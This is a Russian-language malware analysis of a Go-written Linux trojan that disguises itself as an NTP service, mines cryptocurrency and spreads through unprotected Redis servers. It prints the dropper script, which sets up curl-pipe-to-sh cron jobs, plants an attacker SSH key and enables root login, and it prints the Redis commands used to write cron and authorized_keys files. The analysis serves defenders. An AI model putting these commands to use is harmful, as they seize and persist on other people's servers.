SHA1:
- d9a74531d24c76f3db95baed9ebf766a2bc0300d
Троянец для операционных систем семейства Linux, написанный на языке Go. Обладает следующими функциональными возможностями:
- сбор и передача информации о зараженном компьютере на управляющий сервер;
- скачивание и запуск утилиты для добычи (майнинга) криптовалют;
- атака других компьютеров в сети с целью установки на них собственной копии.
При запуске троянец проверяет наличие ключей, при отсутствии которых завершает работу:
- Version — вывести на экран версию троянца и завершить работу;
- Install — установить троянца в системе;
- D — запустить основные функции троянца.
При запуске с ключом Install проверяет, соответствует ли имя исполняемого файла /usr/sbin/ntp. Если нет, то копирует себя по этому пути и создает файл /etc/systemd/system/ntp.service следующего содержания:
[Unit]
Description=NTP daemon
ConditionFileIsExecutable=/usr/sbin/ntp
[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/sbin/ntp "-D"
Restart=always
RestartSec=120
[Install]
WantedBy=multi-user.target
После этого запускает свою копию с ключом D. При этом троянец создает 4 потока, каждому из которых передает свой канал. С их помощью потокам передаются следующие структуры:
"chan []st.IPRule"
"chan st.Minerd"
"chan st.Update"
"chan []st.Attack"
Затем вредоносная программа переходит в режим сна на период от 15 до 45 секунд, после чего передает на управляющий сервер следующую информацию:
- версию троянца;
- количество процессоров на зараженной машине;
- имя хоста;
- количество запущенных процессов;
- имя ОС;
- семейство ОС;
- время непрерывной работы хоста (аптайм).
В ответ троянец получает конфигурационный файл, содержащий необходимую для его работы информацию. Затем он загружает и запускает утилиту для добычи (майнинга) криптовалют. Троянец определяет внешний IP-адрес инфицированной машины с помощью специальных сайтов, ссылки на которые вредоносная программа получает в файле конфигурации. Затем он вычисляет на его основе маску подсети External_ip\8 (маска 255.0.0.0) и пытается подключиться к удаленным узлам через порт 6379 (redis) без пароля. Если подключение удается, троянец обращается к указанному в файле конфигурации URL, загружает оттуда сценарий, детектируемый под именем Linux.DownLoader.196, и добавляет его в cron атакованной машины:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.*****ring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r. *****ring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r. ****ring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
После соединения троянец выполняет на удаленном узле следующие команды:
config set stop-writes-on-bgsave-error no
config set rdbcompression no
config set dir /var/spool/cron
config set dbfilename root
set 1 ("\n\n*/1 * * * * curl -L %s | sh\n\n") % (ShellUrl из конфига)
save
config set dir /root/.ssh
config set dbfilename authorized_keys
set 1 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4TjWxZeA8JlaBwfvgtjvDT0bm9d4JGbzz1KIIGyvSKxd7bqYLwXfxr0Q+tZxF5nHXldH2pRNacD7Gm8XX4aZCUYlL5Ev0goYmOTgXOQNkgyVQKPE6KGV5BZpNoB2sbIkuweLbbdZaOcncnFvAEh7dVUQ5lh2QLz/IuRzakrzaJeTPiaD3BAyXhjcVwDFn1Lb84uiqc7nW6gw2bIaSMOrNTfZH/xftGdI'UpJoQK06jmFrTlpWaL5joAooc2Evan6XnqkO4g5In7tjhX8pBtCBGk78SKCJmkEjK'+xbN+7oZhuaeB/ubPm3xDahi+w1xHGZIt/N7z268Fz3rQAhBUZ+eQ==
save
del 1
set dir /tmp
set dbfilename dump.rdb
config set rdbcompression yes
В список authorized_keys троянец добавляет ключ для соединения по протоколу SSH. Затем пытается соединиться с удаленным узлом по протоколу SSH и, если это удается, выполняет следующую команду:
(curl -fsSL %s?ssh | sh) % (ShellUrl)
В своей архитектуре троянец использует множество библиотек, опубликованных на популярнейшем сервисе хранения и совместной разработки приложений GitHub.